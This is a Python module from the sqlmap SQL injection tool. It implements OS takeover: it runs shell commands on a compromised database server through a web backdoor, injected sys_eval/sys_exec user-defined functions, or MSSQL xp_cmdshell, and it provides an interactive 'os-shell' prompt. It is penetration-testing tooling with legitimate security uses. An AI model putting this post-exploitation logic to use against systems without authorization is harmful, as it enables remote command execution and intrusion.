#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import isNoneValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import pushValue
from lib.core.common import readInput
from lib.core.common import popValue
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.core.threads import getCurrentThreadData
from lib.takeover.udf import UDF
from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import xp_cmdshell


class Abstraction(Web, UDF, xp_cmdshell):
    """
    This class defines an abstraction layer for OS takeover functionalities
    to UDF / xp_cmdshell objects
    """

    def __init__(self):
        self.envInitialized = False
        self.alwaysRetrieveCmdOutput = False

        UDF.__init__(self)
        Web.__init__(self)
        xp_cmdshell.__init__(self)

    def execCmd(self, cmd, silent=False):
        if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
            self.webBackdoorRunCmd(cmd)

        elif Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
            self.udfExecCmd(cmd, silent=silent)

        elif Backend.isDbms(DBMS.MSSQL):
            self.xpCmdshellExecCmd(cmd, silent=silent)

        else:
            errMsg = "Feature not yet implemented for the back-end DBMS"
            raise sqlmapUnsupportedFeatureException, errMsg

    def evalCmd(self, cmd, first=None, last=None):
        retVal = None

        if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
            retVal = self.webBackdoorRunCmd(cmd)

        elif Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
            retVal = self.udfEvalCmd(cmd, first, last)

        elif Backend.isDbms(DBMS.MSSQL):
            retVal = self.xpCmdshellEvalCmd(cmd, first, last)

        else:
            errMsg = "Feature not yet implemented for the back-end DBMS"
            raise sqlmapUnsupportedFeatureException, errMsg

        return safechardecode(retVal)

    def runCmd(self, cmd):
        getOutput = None

        if not self.alwaysRetrieveCmdOutput:
            message = "do you want to retrieve the command standard "
            message += "output? [Y/n/a] "
            getOutput = readInput(message, default="Y")

            if getOutput in ("a", "A"):
                self.alwaysRetrieveCmdOutput = True

        if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
            output = self.evalCmd(cmd)

            if output:
                conf.dumper.string("command standard output", output)
            else:
                dataToStdout("No output\n")
        else:
            self.execCmd(cmd)

    def shell(self):
        if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
            infoMsg = "calling OS shell. To quit type "
            infoMsg += "'x' or 'q' and press ENTER"
            logger.info(infoMsg)

        else:
            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                infoMsg = "going to use injected sys_eval and sys_exec "
                infoMsg += "user-defined functions for operating system "
                infoMsg += "command execution"
                logger.info(infoMsg)

            elif Backend.isDbms(DBMS.MSSQL):
                infoMsg = "going to use xp_cmdshell extended procedure for "
                infoMsg += "operating system command execution"
                logger.info(infoMsg)

                threadData = getCurrentThreadData()
                pushValue(threadData.disableStdOut)
                threadData.disableStdOut = True

                output = self.evalCmd("echo 1")
                if isNoneValue(output):
                    errMsg = "it seems that the temporary directory ('%s') used for storing " % self.getRemoteTempPath()
                    errMsg += "console output at the back-end OS does not have "
                    errMsg += "writing permissions for the DBMS process. You are advised "
                    errMsg += "to manually adjust it with option '--tmp-path'"
                    raise sqlmapGenericException, errMsg

                threadData.disableStdOut = popValue()
            else:
                errMsg = "feature not yet implemented for the back-end DBMS"
                raise sqlmapUnsupportedFeatureException, errMsg

            infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
            infoMsg += "'x' or 'q' and press ENTER"
            logger.info(infoMsg)

        autoCompletion(osShell=True)

        while True:
            command = None

            try:
                command = raw_input("os-shell> ")
            except KeyboardInterrupt:
                print
                errMsg = "user aborted"
                logger.error(errMsg)
            except EOFError:
                print
                errMsg = "exit"
                logger.error(errMsg)
                break

            if not command:
                continue

            if command.lower() in ( "x", "q", "exit", "quit" ):
                break

            self.runCmd(command)

    def initEnv(self, mandatory=True, detailed=False, web=False):
        if self.envInitialized:
            return

        if web:
            self.webInit()
        else:
            self.checkDbmsOs(detailed)

            if mandatory and not self.isDba():
                warnMsg = "the functionality requested might not work because "
                warnMsg += "the session user is not a database administrator"
                logger.warn(warnMsg)

            if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
                self.udfInjectSys()
            elif Backend.isDbms(DBMS.MSSQL):
                if mandatory:
                    self.xpCmdshellInit()
            else:
                errMsg = "feature not yet implemented for the back-end DBMS"
                raise sqlmapUnsupportedFeatureException(errMsg)

        self.envInitialized = True